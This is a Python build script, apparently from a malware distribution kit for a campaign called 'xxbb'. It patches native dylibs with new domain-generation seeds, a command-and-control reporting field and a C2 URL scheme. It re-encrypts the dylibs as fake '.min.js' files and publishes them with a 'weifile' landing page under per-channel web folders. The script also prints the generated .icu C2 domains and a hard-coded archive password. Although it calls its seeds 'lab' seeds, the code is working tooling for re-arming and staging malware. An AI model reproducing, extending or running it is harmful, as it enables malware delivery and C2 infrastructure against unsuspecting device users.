#!/usr/bin/env python3
"""Patch xxbb weifile secondary packs (DGA seeds + reporting field c).

Per-channel landing:
  {artifact-root}/source/{channel_name}/index.html
Shared details stay at {artifact-root}/details/.

Seed resolution (same idea as channel-builder/tools/new_project.py):
  1. both --deployment-seed and --reporting-seed
  2. else {state-root}/lab_seeds.json
  3. else random generate + write lab_seeds.json
"""

from __future__ import annotations

import argparse
import hashlib
import json
import re
import secrets
import shutil
from datetime import datetime, timezone
from pathlib import Path

from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
from reproduce_xxbb_dga import generate_domains

TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
PROJECT_ROOT = BUILDER_ROOT.parent

SOURCE_WEIFILE = BUILDER_ROOT / "source" / "weifile"
SOURCE_DETAILS = BUILDER_ROOT / "source" / "details"
SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
RESULT_MARKER = "CORUNA_BUILD_RESULT "
LAB_SEEDS_NAME = "lab_seeds.json"
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
CHANNEL_ROOT = "source"
LANDING_NAME = "index.html"
DGA_COUNT = 5

ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81"
ORIGINAL_REP = "68143bfa7130bb97a642196db0292a12"
ORIGINAL_C = "202700cfb1ad3de68e11239dcc26c30b"
SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b"

RESERVED_CHANNEL_NAMES = frozenset(
    {
        "admin",
        "user",
        "api",
        "web",
        "sync",
        "details",
        "weifile",
        "hooks",
        "link",
        "statistic",
        "vhx",
        "event",
        "log",
        "storage",
        "build",
        "hot",
        "vendor",
        "css",
        "js",
        "up",
        "index",
        "assets",
        "static",
        "source",
        "channel",
        "out",
        "t",
        "a",
        "u",
        "uj",
        "us",
        "ub",
        "ba",
        "result",
        "favicon",
        "robots",
        "sitemap",
        "public",
        "app",
        "bootstrap",
        "config",
        "database",
        "resources",
        "routes",
        "tests",
        "artisan",
        "livewire",
        "sanctum",
        "telescope",
        "horizon",
        "pulse",
    }
)


def pack_ascii32(name: str, value: str) -> bytes:
    data = value.encode("ascii")
    if len(data) > 32:
        raise SystemExit(f"{name} longer than 32 bytes ({len(data)}): {value!r}")
    if not data:
        raise SystemExit(f"{name} must be non-empty")
    return data + b"\x00" * (32 - len(data))


def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect: int) -> int:
    count = 0
    start = 0
    while True:
        index = buf.find(old, start)
        if index < 0:
            break
        buf[index : index + 32] = new32
        count += 1
        start = index + 32
    if count != expect:
        raise SystemExit(
            f"{label}: unexpected hits for {old.decode('ascii', 'replace')} "
            f"count={count} (want {expect}). Already patched?"
        )
    return count


# Longest-first. Native DGA / backup / NSURL scheme slots (NUL-terminated).
HTTPS_CSTRINGS = (
    b"https://backup%u.icu",
    b"https://%@",
    b"https://",
    b"https",
)


def http_cstring(https_s: bytes) -> bytes:
    if not https_s.startswith(b"https"):
        raise SystemExit(f"not an https C-string: {https_s!r}")
    return b"http" + https_s[5:]


def replace_cstring(buf: bytearray, old: bytes, new: bytes, *, label: str, expect: int) -> int:
    """Replace a NUL-terminated C string in place. `new` must be <= `old` (pad with NUL)."""
    if b"\x00" in old or b"\x00" in new:
        raise SystemExit(f"{label}: C-string must not contain NUL")
    if len(new) > len(old):
        raise SystemExit(f"{label}: cannot grow {old!r} -> {new!r}")
    old_c = old + b"\x00"
    new_c = new + b"\x00" * (len(old_c) - len(new))
    count = 0
    start = 0
    while True:
        index = buf.find(old_c, start)
        if index < 0:
            break
        buf[index : index + len(old_c)] = new_c
        count += 1
        start = index + len(old_c)
    if count != expect:
        raise SystemExit(
            f"{label}: unexpected hits for {old.decode('ascii', 'replace')}\\0 "
            f"count={count} (want {expect})"
        )
    return count


def patch_url_scheme(buf: bytearray, *, scheme: str, label: str) -> None:
    if scheme == "https":
        for old in HTTPS_CSTRINGS:
            if buf.find(old + b"\x00") < 0:
                raise SystemExit(f"{label}: missing {old.decode()}\\0")
        return
    if scheme != "http":
        raise SystemExit("--scheme must be http or https")
    for old in HTTPS_CSTRINGS:
        replace_cstring(buf, old, http_cstring(old), label=label, expect=1)
    if buf.find(b"https://%@\x00") >= 0 or buf.find(b"https://backup%u.icu\x00") >= 0:
        raise SystemExit(f"{label}: https URL formats still present")
    if buf.find(b"http://%@\x00") < 0 or buf.find(b"http://backup%u.icu\x00") < 0:
        raise SystemExit(f"{label}: http URL formats missing after patch")


def sha256_hex(data: bytes) -> str:
    return hashlib.sha256(data).hexdigest()


def ignore_junk(_dir: str, names: list[str]) -> set[str]:
    skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
    return {n for n in names if n in skip or n.endswith(".pyc")}


def load_keys() -> dict:
    meta = json.loads(SECONDARY_KEYS.read_text())
    stems = meta.get("stems")
    if not isinstance(stems, dict) or not stems:
        raise SystemExit(f"invalid {SECONDARY_KEYS}: missing stems")
    return meta


def group_dylib_path(group: str) -> Path:
    files = sorted(SOURCE_DYLIBS.glob(f"group_{group}_*.dylib"))
    if len(files) != 1:
        raise SystemExit(f"expected one source dylib for group {group}, found {files}")
    return files[0]


def patch_dylib(
    data: bytes,
    *,
    deployment_seed: str,
    reporting_seed: str,
    channel_c: str,
    label: str,
    scheme: str = "https",
) -> bytes:
    buf = bytearray(data)
    replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
    replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
    replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
    patch_url_scheme(buf, scheme=scheme, label=label)
    if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
        raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
    if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
        raise SystemExit(f"{label}: original c still present")
    return bytes(buf)


def copy_tree(src: Path, dst: Path) -> None:
    if dst.exists():
        shutil.rmtree(dst)
    shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)


def validate_channel_name(value: str) -> str:
    name = (value or "").strip().lower()
    if not CHANNEL_NAME_RE.fullmatch(name):
        raise SystemExit("--channel-name must be 8–32 chars of [a-z0-9]")
    if name in RESERVED_CHANNEL_NAMES:
        raise SystemExit(f"--channel-name {name!r} is reserved")
    return name


def gen_seed() -> str:
    return secrets.token_hex(16)


def utc_now() -> str:
    return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")


def compute_domains(dep: str, rep: str, channel_c: str, count: int = DGA_COUNT) -> dict:
    """First 5 hosts each native shared pool will try.

    Both `sharedDeploymentPool` and `sharedReportingPool` init with the
    reporting-c CFString (the 32-byte slot this builder patches as channel_c),
    not the adjacent C-string dep/rep seeds. Lists are therefore identical.
    """
    del dep, rep
    hosts = generate_domains(channel_c, count)
    return {"deployment": hosts, "reporting": list(hosts)}


def load_lab_seeds(path: Path) -> dict | None:
    if not path.is_file():
        return None
    doc = json.loads(path.read_text())
    if not isinstance(doc, dict):
        raise SystemExit(f"invalid {path}: not an object")
    dep = doc.get("deployment_seed")
    rep = doc.get("reporting_seed")
    if not isinstance(dep, str) or not isinstance(rep, str) or not dep or not rep:
        raise SystemExit(f"invalid {path}: missing seeds")
    return doc


def write_lab_seeds(
    path: Path,
    *,
    dep: str,
    rep: str,
    channel_c: str,
    domains: dict,
    existing: dict | None,
) -> dict:
    now = utc_now()
    doc = {
        "schema_version": 1,
        "mode": "dga",
        "deployment_seed": dep,
        "reporting_seed": rep,
        "channel_c": channel_c,
        "dga_count": DGA_COUNT,
        "domains": domains,
        "created_at": (existing or {}).get("created_at") or now,
        "updated_at": now,
    }
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_text(json.dumps(doc, indent=2) + "\n")
    return doc


def _looks_like_xxbb_domains(dep_list: list, rep_list: list) -> bool:
    if len(dep_list) < 1 or len(rep_list) < 1:
        return False
    return all(isinstance(x, str) and XXBB_DGA_HOST_RE.fullmatch(x) for x in dep_list[:DGA_COUNT] + rep_list[:DGA_COUNT])


def _domains_from_existing(
    existing: dict | None, dep: str, rep: str, channel_c: str
) -> tuple[dict, bool]:
    """Return (domains, newly_computed)."""
    expected = compute_domains(dep, rep, channel_c)
    raw = (existing or {}).get("domains") if existing else None
    if isinstance(raw, dict):
        dep_list = raw.get("deployment")
        rep_list = raw.get("reporting")
        if (
            isinstance(dep_list, list)
            and isinstance(rep_list, list)
            and _looks_like_xxbb_domains(dep_list, rep_list)
            and [str(x) for x in dep_list[:DGA_COUNT]] == expected["deployment"]
            and [str(x) for x in rep_list[:DGA_COUNT]] == expected["reporting"]
        ):
            return expected, False
    return expected, True


def resolve_seeds(
    *,
    lab_seeds_path: Path,
    cli_dep: str | None,
    cli_rep: str | None,
    cli_c: str | None,
) -> tuple[str, str, str, dict, bool]:
    """Return dep, rep, channel_c, domains, seeds_initialized."""
    if bool(cli_dep) ^ bool(cli_rep):
        raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")

    existing = load_lab_seeds(lab_seeds_path)
    channel_c = (cli_c or "").strip() or (
        str(existing["channel_c"]) if existing and existing.get("channel_c") else ORIGINAL_C
    )
    pack_ascii32("--channel-c", channel_c)
    if channel_c == SEVEN_ZIP_PASSWORD:
        raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")

    if cli_dep and cli_rep:
        dep = cli_dep.strip()
        rep = cli_rep.strip()
        pack_ascii32("--deployment-seed", dep)
        pack_ascii32("--reporting-seed", rep)
        if dep != rep:
            raise SystemExit("deployment and reporting seeds must match")
        if existing and existing.get("deployment_seed") == dep and existing.get("reporting_seed") == rep:
            domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
            if computed or existing.get("channel_c") != channel_c:
                write_lab_seeds(
                    lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
                )
            return dep, rep, channel_c, domains, computed and existing is not None
        domains = compute_domains(dep, rep, channel_c)
        write_lab_seeds(
            lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
        )
        return dep, rep, channel_c, domains, existing is None

    if existing:
        dep = str(existing["deployment_seed"])
        rep = str(existing["reporting_seed"])
        pack_ascii32("--deployment-seed", dep)
        pack_ascii32("--reporting-seed", rep)
        domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
        if computed:
            write_lab_seeds(
                lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
            )
        return dep, rep, channel_c, domains, computed

    dep = gen_seed()
    rep = dep
    domains = compute_domains(dep, rep, channel_c)
    write_lab_seeds(
        lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=None
    )
    return dep, rep, channel_c, domains, True


def default_state_root() -> Path:
    return PROJECT_ROOT / "storage" / "app" / "channel-builder-new"


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Replace weifile type-0x01 DGA seeds and reporting c, then re-encrypt .min.js."
    )
    parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
    parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
    parser.add_argument(
        "--channel-c",
        help="native report field c and DGA seed (lab new-builder passes channel_id here)",
    )
    parser.add_argument(
        "--channel-name",
        help="per-channel folder + html name; required with --apply",
    )
    parser.add_argument(
        "--artifact-root",
        type=Path,
        default=PROJECT_ROOT / "public",
        help="directory that will contain {channel_name}/ and details/",
    )
    parser.add_argument(
        "--state-root",
        type=Path,
        default=None,
        help=f"lab_seeds.json + out/ (default: {default_state_root()})",
    )
    parser.add_argument(
        "--out",
        type=Path,
        help="intermediate output for rebuilt .min.js (default: <state-root>/out)",
    )
    parser.add_argument(
        "--apply",
        action="store_true",
        help="copy weifile into {artifact}/source/{channel_name}/ and shared details/",
    )
    parser.add_argument(
        "--force",
        action="store_true",
        help="replace an existing {channel_name}/ directory",
    )
    parser.add_argument(
        "--scheme",
        choices=("http", "https"),
        default="https",
        help="native DGA/C2 URL scheme (https is required on device; http is ATS-blocked for .icu hosts)",
    )
    args = parser.parse_args()

    state_root = (args.state_root or default_state_root()).resolve()
    state_root.mkdir(parents=True, exist_ok=True)
    dep, rep, channel_c, domains, seeds_initialized = resolve_seeds(
        lab_seeds_path=state_root / LAB_SEEDS_NAME,
        cli_dep=args.deployment_seed,
        cli_rep=args.reporting_seed,
        cli_c=args.channel_c,
    )

    channel_name = ""
    if args.channel_name:
        channel_name = validate_channel_name(args.channel_name)
    elif args.apply:
        raise SystemExit("--channel-name is required with --apply")

    meta = load_keys()
    stems = meta["stems"]
    groups = sorted({info["group"] for info in stems.values()})

    patched: dict[str, bytes] = {}
    for group in groups:
        path = group_dylib_path(group)
        data = patch_dylib(
            path.read_bytes(),
            deployment_seed=dep,
            reporting_seed=rep,
            channel_c=channel_c,
            label=path.name,
            scheme=args.scheme,
        )
        patched[group] = data
        print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")

    out = args.out
    if out is None:
        out = state_root / "out"
    out = out.resolve()
    out.mkdir(parents=True, exist_ok=True)
    (out / "dylibs").mkdir(exist_ok=True)
    for group, data in patched.items():
        (out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)

    built = []
    for stem, info in stems.items():
        group = info["group"]
        key = bytes.fromhex(info["key"])
        wire = encrypt_secondary_minjs(patched[group], key)
        check = decrypt_secondary_minjs(wire, key)
        if check != patched[group]:
            raise SystemExit(f"round-trip failed for {stem}")
        dest = out / f"{stem}.min.js"
        dest.write_bytes(wire)
        built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)})
        print(f"  wrote {dest.name} ({len(wire)} bytes)")

    weifile_path = ""
    details_path = ""
    if args.apply:
        artifact = args.artifact_root.resolve()
        dest_channel = artifact / CHANNEL_ROOT / channel_name
        dest_details = artifact / "details"
        if dest_channel.exists() and not args.force:
            raise SystemExit(f"channel dir already exists (pass --force): {dest_channel}")
        if not SOURCE_WEIFILE.is_dir():
            raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
        if not SOURCE_DETAILS.is_dir():
            raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
        copy_tree(SOURCE_WEIFILE, dest_channel)
        landing = dest_channel / LANDING_NAME
        src_html = dest_channel / "weifile.html"
        if not src_html.is_file():
            raise SystemExit(f"missing weifile.html in template copy: {src_html}")
        shutil.copy2(src_html, landing)
        copy_tree(SOURCE_DETAILS, dest_details)
        for item in built:
            src = out / f"{item['stem']}.min.js"
            dst = dest_channel / src.name
            shutil.copy2(src, dst)
            print(f"applied -> {dst}")
        print(f"applied details -> {dest_details}")
        weifile_path = f"/{CHANNEL_ROOT}/{channel_name}/{LANDING_NAME}"
        details_path = "/details/"

    print("deployment domains:")
    for i, domain in enumerate(domains.get("deployment") or [], 1):
        print(f"  {i:03d} {domain}")
    print("reporting domains:")
    for i, domain in enumerate(domains.get("reporting") or [], 1):
        print(f"  {i:03d} {domain}")

    result = {
        "campaign": "xxbb",
        "builder_type": "new",
        "channel_name": channel_name or None,
        "weifile_path": weifile_path or None,
        "support_path": weifile_path or None,
        "details_path": details_path or None,
        "seeds_initialized": seeds_initialized,
        "sync_rebuilt": False,
        "domains": domains,
        "seeds": {
            "deployment_seed": dep,
            "reporting_seed": rep,
            "channel_c": channel_c,
        },
        "seven_zip_password": SEVEN_ZIP_PASSWORD,
        "files": built,
        "group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
        "scheme": args.scheme,
        "notes": [
            "details/core not patched; native /event c still original until a later pass",
            "index.js iptj URL / channelCode not patched",
            "domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
            f"native DGA/C2 scheme={args.scheme}",
        ],
    }
    (out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
    print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())